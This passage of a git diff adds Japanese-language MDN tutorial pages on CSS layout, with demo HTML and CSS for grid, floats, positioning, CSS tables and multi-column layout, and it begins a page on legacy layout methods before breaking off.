+<p>{{ EmbedLiveSample('Flex_2', '300', '200') }}</p> + +<div class="note"> +<p><strong>注</strong>: これはフレックスボックスで可能なことの非常に短い紹介です。 詳細については、<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>の記事を参照してください。</p> +</div> + +<h2 id="Grid_Layout" name="Grid_Layout">グリッドレイアウト</h2> + +<p>フレックスボックスは1次元レイアウト用に設計されていますが、グリッドレイアウト（Grid Layout）は2次元用に設計されています — 行と列に物を並べます。</p> + +<p>繰り返しになりますが、<code>display: grid</code> という特定の <code>display</code> の値でグリッドレイアウト（Grid Layout）をオンにすることができます。 以下の例では、コンテナといくつかの子要素とともに、<code>flex</code> の例と同様のマークアップを使用しています。 <code>display: grid</code> の使用に加えて、{{cssxref("grid-template-rows")}} プロパティと {{cssxref("grid-template-columns")}} プロパティをそれぞれ使用して、親の行と列のトラックをいくつか定義します。 それぞれ <code>1fr</code> の3列と <code>100px</code> の2行を定義しました。 子要素に規則を置く必要はなく、自動的にグリッドが作成したセルに配置されます。</p> + +<div id="Grid_1"> +<div class="hidden"> +<h6 id="Grid_example_1">Grid example 1</h6> + +<pre class="brush: css"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: 1fr 1fr 1fr; + grid-template-rows: 100px 100px; + grid-gap: 10px; +} +</pre> + +<pre class="brush: html"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> + <div class="box4">Four</div> + <div class="box5">Five</div> + <div class="box6">Six</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_1', '300', '330') }}</p> + +<p>グリッドを作成したら、上記の自動配置のふるまいに頼らずに、明示的に項目を配置できます。 以下の2番目の例では、同じグリッドを定義しましたが、今回は3つの子項目を使用しています。 {{cssxref("grid-column")}} プロパティと {{cssxref("grid-row")}} プロパティを使用して各項目の開始ラインと終了ラインを設定しました。 これにより、項目が複数のトラックにまたがるようになります。</p> + +<div id="Grid_2"> +<div class="hidden"> +<h6 id="Grid_example_2">Grid example 2</h6> + +<pre class="brush: css"> * {box-sizing: border-box;} + + .wrapper > div { + border-radius: 5px; + background-color: rgb(207,232,220); + padding: 1em; + } + </pre> +</div> + +<pre class="brush: css">.wrapper { + display: grid; + grid-template-columns: 1fr 1fr 1fr; + grid-template-rows: 100px 100px; + grid-gap: 10px; +} + +.box1 { + grid-column: 2 / 4; + grid-row: 1; +} + +.box2 { + grid-column: 1; + grid-row: 1 / 3; +} + +.box3 { + grid-row: 2; + grid-column: 3; +} +</pre> + +<pre class="brush: html"><div class="wrapper"> + <div class="box1">One</div> + <div class="box2">Two</div> + <div class="box3">Three</div> +</div> +</pre> +</div> + +<p>{{ EmbedLiveSample('Grid_2', '300', '330') }}</p> + +<div class="note"> +<p><strong>注</strong>: これら2つの例は、グリッドレイアウトの機能のほんの一部です。 詳細については、<a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッドレイアウト</a>の記事を参照してください。</p> +</div> + +<p>このガイドの残りの部分では、他のレイアウト方法について説明します。 これは、ページの主なレイアウト構造にとってはそれほど重要ではありませんが、それでも特定のタスクを達成するのに役立ちます。 各レイアウトタスクの性質を理解することで、デザインの特定の構成要素を見たときに、それに最も適したレイアウトの種類が明らかになることがすぐにわかります。</p> + +<h2 id="Floats" name="Floats">フロート</h2> + +<p>要素を浮動すると、その要素とそれに通常フローで続くブロックレベル要素のふるまいが変わります。 要素が左または右に移動されて通常フローから除かれ、囲むコンテンツが浮動項目の周囲に浮かびます。</p> + +<p>{{cssxref("float")}} プロパティには次の4つの可能な値があります。</p> + +<ul> + <li><code>left</code> — 要素を左に浮かべる。</li> + <li><code>right</code> — 要素を右に浮かべる。</li> + <li><code>none</code> — まったく浮動しないことを指定する。 これがデフォルト値です。</li> + <li><code>inherit</code> — <code>float</code> プロパティの値がこの要素の親要素から継承されるべきであることを指定します。</li> +</ul> + +<p>以下の例では、<code><div></code> を左に浮かべ、テキストを要素から遠ざけるために右に {{cssxref("margin")}} を与えます。 これはそのボックスの周りに巻かれたテキストの効果を与え、そしてあなたが最新のウェブデザインで使用されるフロート（Floats）について知る必要があるものの大部分です。</p> + +<div id="Float_1"> +<div class="hidden"> +<h6 id="Floats_example">Floats example</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +p { + line-height: 2; + word-spacing: 0.1rem; +} + +.box { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + border-radius: 5px; +} +</pre> +</div> + +<pre class="brush: html"><h1>Simple float example</h1> + +<div class="box">Float</div> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +</pre> + +<pre class="brush: css"> +.box { + float: left; + width: 150px; + height: 150px; + margin-right: 30px; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p> + +<div class="note"> +<p><strong>注</strong>: フロートについては、<a href="/ja/docs/Learn/CSS/CSS_layout/Floats">float と clear</a> のプロパティに関するレッスンで詳しく説明しています。 フレックスボックスやグリッドレイアウトなどのテクニックの前は、列レイアウトの作成方法としてフロートが使用されていました。 あなたはまだウェブ上でこれらの方法に出くわすかもしれません。 これらについては、<a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a>に関するレッスンで説明します。</p> +</div> + +<h2 id="Positioning_techniques" name="Positioning_techniques">位置指定のテクニック</h2> + +<p>位置指定（Positioning）を使用すると、通常フローのときに要素を配置されていた場所から別の場所に移動できます。 位置指定はメインページのレイアウトを作成するための方法ではなく、ページ上の特定の項目の位置を管理および微調整することを目的としています。</p> + +<p>ただし、{{cssxref("position")}} プロパティに依存する特定のレイアウトパターンには便利なテクニックがあります。 位置指定を理解することは、通常フローを理解し、項目を通常フローから移動させることとは何かを理解するのに役立ちます。</p> + +<p>あなたが知っておくべき、次の5種類の位置指定があります。</p> + +<ul> + <li><strong>静的位置指定</strong>（Static positioning）は、すべての要素が取得するデフォルトです。 これは、「要素をドキュメントレイアウトフロー内の通常の位置に配置する — ここで見るべき特別なことは何もありません」という意味です。</li> + <li><strong>相対位置指定</strong>（Relative positioning）を使用すると、ページ上の要素の位置を変更して、通常フロー内の位置に相対的に移動できます — ページ上の他の要素と重なるようにすることも含まれます。</li> + <li><strong>絶対位置指定</strong>（Absolute positioning）では、要素は別のレイヤーに配置されているように、ページの通常のレイアウトフローから完全に外れます。 そこから、それをページの <code><html></code> 要素（あるいはそれに最も近くに位置する祖先要素）の端に相対的な位置に固定することができます。 これは、さまざまなコンテンツパネルを重ねて表示したり、必要に応じて表示/非表示にしたりするタブ付きボックスや、デフォルトでは画面外にありコントロールボタンを使用して画面上をスライドさせることができる情報パネルを作成するのに便利です。</li> + <li><strong>固定位置指定</strong>（Fixed positioning）は絶対位置指定と非常によく似ていますが、他の要素ではなく、ブラウザーのビューポートを基準にして要素を固定する点が異なります。 これは、他のコンテンツがスクロールしても常に画面上の同じ場所にとどまる永続的なナビゲーションメニューなどの効果を作成するのに役立ちます。</li> + <li><strong>粘着位置指定</strong>（Sticky positioning）は、要素が定義されたビューポートからのオフセットにぶつかるまで、要素は <code>position: static</code> のようにふるまい、その位置からは <code>position: fixed</code> のようにふるまう、より新しい位置指定方法です。</li> +</ul> + +<h3 id="Simple_positioning_example" name="Simple_positioning_example">簡単な位置指定の例</h3> + +<p>これらのページレイアウトのテクニックに慣れるために、いくつかの簡単な例を紹介します。 例はすべて同じ HTML を特徴とするでしょう。 それは以下の通りです。</p> + +<pre class="brush: html"><h1>Positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">I am a basic block level element.</p> +<p>I am a basic block level element.</p></pre> + +<p>この HTML はデフォルトで次の CSS を使ってスタイルされます。</p> + +<pre class="brush: css">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +} +</pre> + +<p>レンダリングされた出力は次のとおりです。</p> + +<p>{{ EmbedLiveSample('Simple_positioning_example', '100%', 300) }}</p> + +<h3 id="Relative_positioning" name="Relative_positioning">相対位置指定</h3> + +<p>相対位置指定（Relative positioning）を使用すると、デフォルトで設定されている通常フローの位置から項目をずらすことができます。 これは、アイコンをテキストラベルに合わせるためにアイコンを少し下に移動するなどのタスクを実行できることを意味します。 これを行うには、相対位置指定を追加するために次の規則を追加します。</p> + +<pre class="brush: css">.positioned { + position: relative; + top: 30px; + left: 30px; +}</pre> + +<p>ここで私たちは真ん中の段落に <code>relative</code> の {{cssxref("position")}} の値を与えます — これはそれ自身では何もしませんので、{{cssxref("top")}} プロパティと {{cssxref("left")}} プロパティも追加します。 これらは影響を受けた要素を右下に動かすのに役立ちます — これはあなたが期待していたのとは反対のように思えるかもしれませんが、要素の左側と上側を押されていると考える必要があり、その結果として右下に移動します。</p> + +<p>このコードを追加すると、次のようになります。</p> + +<div id="Relative_1"> +<div class="hidden"> +<h6 id="Relative_positioning_example">Relative positioning example</h6> + +<pre class="brush: html"><h1>Relative positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">This is my relatively positioned element.</p> +<p>I am a basic block level element.</p></pre> + +<pre class="brush: css">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +} +</pre> +</div> + +<pre class="brush: css">.positioned { + position: relative; + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Relative_1', '100%', 300) }}</p> + +<h3 id="Absolute_positioning" name="Absolute_positioning">絶対位置指定</h3> + +<p>絶対位置指定（Absolute positioning）は、通常フローから要素を完全に除き、包含ブロックの端からのオフセットを使用して配置するために使用されます。</p> + +<p>元の位置指定のない例に戻ると、絶対位置指定を実装するために次の CSS 規則を追加できます。</p> + +<pre class="brush: css">.positioned { + position: absolute; + top: 30px; + left: 30px; +}</pre> + +<p>ここでは、真ん中の段落に <code>absolute</code> の {{cssxref("position")}} の値と、前と同じ {{cssxref("top")}} プロパティと {{cssxref("left")}} プロパティを与えます。 ただし、このコードを追加すると、次のようになります。</p> + +<div id="Absolute_1"> +<div class="hidden"> +<h6 id="Absolute_positioning_example">Absolute positioning example</h6> + +<pre class="brush: html"><h1>Absolute positioning</h1> + +<p>I am a basic block level element.</p> +<p class="positioned">This is my absolutely positioned element.</p> +<p>I am a basic block level element.</p></pre> + +<pre class="brush: css">body { + width: 500px; + margin: 0 auto; +} + +p { + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 10px; + border-radius: 5px; +} +</pre> +</div> + +<pre class="brush: css">.positioned { + position: absolute; + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Absolute_1', '100%', 300) }}</p> + +<p>これはとても違います！ 位置指定要素は、ページレイアウトの残りの部分から完全に分離され、その上に配置されています。 他の2つの段落は、配置された兄弟が存在しないかのように一緒にいます。 {{cssxref("top")}} プロパティと {{cssxref("left")}} プロパティは、絶対位置指定要素に対しては、相対位置指定要素とは異なる効果があります。 この場合、オフセットはページの上側と左側から計算されています。 このコンテナになる親要素を変更することは可能で、<a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a>のレッスンでそれを見ます。</p> + +<h3 id="Fixed_positioning" name="Fixed_positioning">固定位置指定</h3> + +<p>固定位置指定（Fixed positioning）は、絶対位置指定と同じ方法で、ドキュメントフローから要素を除きます。 ただし、コンテナからのオフセットが適用されるのではなく、ビューポートからのオフセットが適用されます。 項目がビューポートに対して固定されたままであるので、ページがその下でスクロールするときに固定されたままであるメニューのような効果を作成することができます。</p> + +<p>この例では、HTML を3段落のテキストにして、ページをスクロールさせます。 また、<code>position: fixed</code> を指定したボックスもあります。</p> + +<pre class="brush: html"><h1>Fixed positioning</h1> + +<div class="positioned">Fixed</div> + +<p>Paragraph 1.</p> +<p>Paragraph 2.</p> +<p>Paragraph 3.</p> +</pre> + +<div id="Fixed_1"> +<div class="hidden"> +<h6 id="Fixed_positioning_example">Fixed positioning example</h6> + +<pre class="brush: html"><h1>Fixed positioning</h1> + +<div class="positioned">Fixed</div> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +</pre> + +<pre class="brush: css">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css">.positioned { + position: fixed; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Fixed_1', '100%', 200) }}</p> + +<h3 id="Sticky_positioning" name="Sticky_positioning">粘着位置指定</h3> + +<p>粘着位置指定（Sticky positioning）は、私たちが自由に使える最後の位置指定方法です。 デフォルトの静的位置指定に固定位置指定を組み合わせたものです。 項目に <code>position: sticky</code> があるとき、それは定義したビューポートからのオフセットにぶつかるまで通常フローでスクロールします。 その時点で、<code>position：fixed</code> が適用されているかのように「動かなくなります」。</p> + +<div id="Sticky_1"> +<div class="hidden"> +<h6 id="Sticky_positioning_example">Sticky positioning example</h6> + +<pre class="brush: html"><h1>Sticky positioning</h1> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<div class="positioned">Sticky</div> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> + +<pre class="brush: css">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="brush: css">.positioned { + position: sticky; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p> + +<div class="note"> +<p><strong>注</strong>: 位置指定の詳細については、<a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a>の記事をご覧ください。</p> +</div> + +<h2 id="Table_layout" name="Table_layout">表レイアウト</h2> + +<p>HTML 表は表形式のデータを表示するのに適していますが、何年も前に — 基本的な CSS でさえブラウザー間で確実にサポートされる前に — ウェブ開発者はウェブページ全体のレイアウトにも表を使用していました — ヘッダー、フッター、異なる列などを、いろいろな表の行と列に配置します。 これは当時はうまくいきましたが、多くの問題を抱えています — 表レイアウトは柔軟性がなく、マークアップが非常に重く、デバッグが難しく、意味論的に間違っています（例えば、スクリーンリーダーのユーザーは表レイアウトをナビゲートするのに問題があります）。</p> + +<p>表のマークアップを使用したときに表がウェブページ上で表示される方法は、表レイアウトを定義する CSS プロパティのセットによるものです。 これらのプロパティは、表ではない要素をレイアウトするために使用することができ、その使用法は「CSS 表の使用」として説明されることがあります。</p> + +<p>以下の例はそのような使い方の1つを示しています。 フレックスボックスやグリッドをサポートしていない非常に古いブラウザーを使用しているような状況では、レイアウトに CSS 表を使用することをこの時点では過去の方法と見なすべきです。</p> + +<p>例を見てみましょう。 まず、HTML フォームを作成する簡単なマークアップです。 各入力要素にはラベルがあり、段落内にキャプションも含まれています。 各ラベル/入力ペアは、レイアウトのために {{htmlelement("div")}} で囲まれています。</p> + +<pre class="brush: html"><form> + <p>First of all, tell us your name and age.</p> + <div> + <label for="fname">First name:</label> + <input type="text" id="fname"> + </div> + <div> + <label for="lname">Last name:</label> + <input type="text" id="lname"> + </div> + <div> + <label for="age">Age:</label> + <input type="text" id="age"> + </div> +</form></pre> + +<p>今、私たちの例のための CSS。 {{cssxref("display")}} プロパティの使用方法を除いて、ほとんどの CSS はかなり普通のものです。 {{htmlelement("form")}}、{{htmlelement("div")}}、{{htmlelement("label")}} と {{htmlelement("input")}} は、それぞれ表、表の行、表のセルのように表示されるように指示しています — 基本的に、それらは HTML 表のマークアップのようにふるまい、デフォルトでラベルと入力がうまく並ぶようにします。 あとは、サイズやマージンなどを少し追加するだけで、すべてが少し見栄えよくなります。</p> + +<p>あなたは、キャプションの段落に <code>display：table-caption;</code> が与えられていることに気付くでしょう — これは表の {{htmlelement("caption")}} のようにふるまいます — そして <code>caption-side: bottom;</code> により、マークアップがソースの <code><input></code> 要素の前にある場合でも、スタイル設定の目的でキャプションが表の下部に表示されるようにします。 これにより、かなりの柔軟性が得られます。</p> + +<pre class="brush: css">html { + font-family: sans-serif; +} + +form { + display: table; + margin: 0 auto; +} + +form div { + display: table-row; +} + +form label, form input { + display: table-cell; + margin-bottom: 10px; +} + +form label { + width: 200px; + padding-right: 5%; + text-align: right; +} + +form input { + width: 300px; +} + +form p { + display: table-caption; + caption-side: bottom; + width: 300px; + color: #999; + font-style: italic; +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<p>{{ EmbedLiveSample('Table_layout', '100%', '170') }}</p> + +<p>この例は <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> でもライブで見ることができます（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">ソースコード</a>も見る）。</p> + +<h2 id="Multi-column_layout" name="Multi-column_layout">段組みレイアウト</h2> + +<p>段組みレイアウトモジュール（Multi-column layout module）は、新聞のテキストの流れと同じように、コンテンツを列にレイアウトする方法を提供します。 ユーザーに強制的に上下にスクロールさせたくない場合は、列を上下に読むことはウェブのコンテキストではあまり役に立ちませんが、コンテンツを列に配置することは便利なテクニックです。</p> + +<p>ブロックを段組みコンテナに変えるには、次のどちらかを使います。 {{cssxref("column-count")}} プロパティは、ブラウザーにいくつの列を持たせたいかを指示します。 {{cssxref("column-width")}} プロパティは、ブラウザーにその幅以上の列をコンテナに入れるように指示します。</p> + +<p>以下の例では、<code>container</code> クラスを持つ <code><div></code> 要素を含む HTML ブロックから始めます。</p> + +<pre class="brush: html"><div class="container"> + <h1>Multi-column layout</h1> + + <p>Paragraph 1.</p> + <p>Paragraph 2.</p> + +</div> +</pre> + +<p>このコンテナでは 200 ピクセルの <code>column-width</code> を使用しているため、ブラウザーはコンテナに収まるだけの数の 200 ピクセルの列を作成し、作成された列間で残りのスペースを共有します。</p> + +<div id="Multicol_1"> +<div class="hidden"> +<h6 id="Multicol_example">Multicol example</h6> + +<pre class="brush: html"> <div class="container"> + <h1>Multi-column Layout</h1> + + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + + + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + + </div> + </pre> + +<pre class="brush: css">body { max-width: 800px; margin: 0 auto; } </pre> +</div> + +<pre class="brush: css"> .container { + column-width: 200px; + }</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_1', '100%', 200) }}</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>この記事では、知っておくべきすべてのレイアウト技術について簡単に説明しました。 個々の技術の詳細については、続けて読んでください！</p> + +<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/legacy_layout_methods/index.html b/files/ja/learn/css/css_layout/legacy_layout_methods/index.html new file mode 100644 index 0000000000..8c1c318e6f --- /dev/null +++ b/files/ja/learn/css/css_layout/legacy_layout_methods/index.html @@ -0,0 +1,588 @@ +--- +title: 過去のレイアウト方法 +slug: Learn/CSS/CSS_layout/Legacy_Layout_Methods +tags: + - Beginner + - CSS + - Floats + - Guide + - Layout + - Learn + - grid system + - legacy +translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary"><span class="seoSummary">グリッドシステムは CSS レイアウトで使用される非常に一般的な機能で、CSS グリッドレイアウト以前はフロートや他のレイアウト機能を使用して実装される傾向がありました。 あなたはレイアウトをいくつかの列（例えば 4、6、または 12）として想像し、そしてコンテンツの列をこれらの想像上の列の内側に合わせます。 この記事では、古いプロジェクトで作業した場合に、それらがどう使われたかを理解するために、これらの古い方法がどのように機能するのかを説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>と<a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスの装飾</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS グリッドレイアウトがブラウザーで利用可能になる前に使用されていたグリッドレイアウトシステムの背後にある基本概念を理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="Layout_and_grid_systems_before_CSS_Grid_Layout" name="Layout_and_grid_systems_before_CSS_Grid_Layout">CSS グリッドレイアウト以前のレイアウトとグリッドシステム</h2> + +<p>CSS がごく最近まで内蔵されたグリッドシステムを持っていなかったことを、デザインをやってきた誰かは驚くかもしれません。 そして代わりにグリッドのようなデザインを作成するためにさまざまな次善の方法を用いていたようです。 今これらを「過去の」方法と呼んでいます。</p> + +<p>新しいプロジェクトでは、ほとんどの場合、CSS グリッドレイアウトを他の1つ以上の最新のレイアウト方法と組み合わせて使用して、任意のレイアウトの基礎とします。 しかし、時々、これらの過去の方法を使用している「グリッドシステム」に遭遇するでしょう。 それらがどのように機能するのか、そしてなぜそれらが CSS グリッドレイアウトと異なるのかを理解するのは価値があります。</p> + +<p>このレッスンでは、フロートとフレックスボックスに基づいたグリッドシステムとグリッドフレームワークの仕組みについて説明します。 グリッドレイアウトを勉強してきたので、おそらくこれがどれほど複雑であるかに驚くことでしょう！ この種のシステムを使用する既存のプロジェクトで作業できるようにすることに加えて、新しい方法をサポートしないブラウザー用の代替コードを作成する必要がある場合に、この知識は役に立ちます。</p> + +<p>これらのシステムを検討する際には、それらのどれも実際には CSS グリッドレイアウトがグリッドを作成する方法でグリッドを作成しないことに、留意する価値があります。 それらは項目にサイズを与え、グリッドのように<em>見える</em>ように一列に並べることによって機能します。</p> + +<h2 id="A_two_column_layout" name="A_two_column_layout">2列レイアウト</h2> + +<p>最も簡単な例として、2列のレイアウトから始めましょう。 コンピュータ上に新しい <code>index.html</code> ファイルを作成し、それを<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">単純な HTML テンプレート</a>で埋め、適切な場所に以下のコードを挿入することで、従うことができます。 このセクションの一番下には、最終的なコードがどのようになっているべきかの実例があります。</p> + +<p>まず最初に、列に入れるためにいくつかのコンテンツが必要です。 次のもので <code>body</code> の中に現在あるものはすべて置き換えます。</p> + +<pre class="brush: html notranslate"><h1>2 column layout example</h1> +<div> + <h2>First column</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean 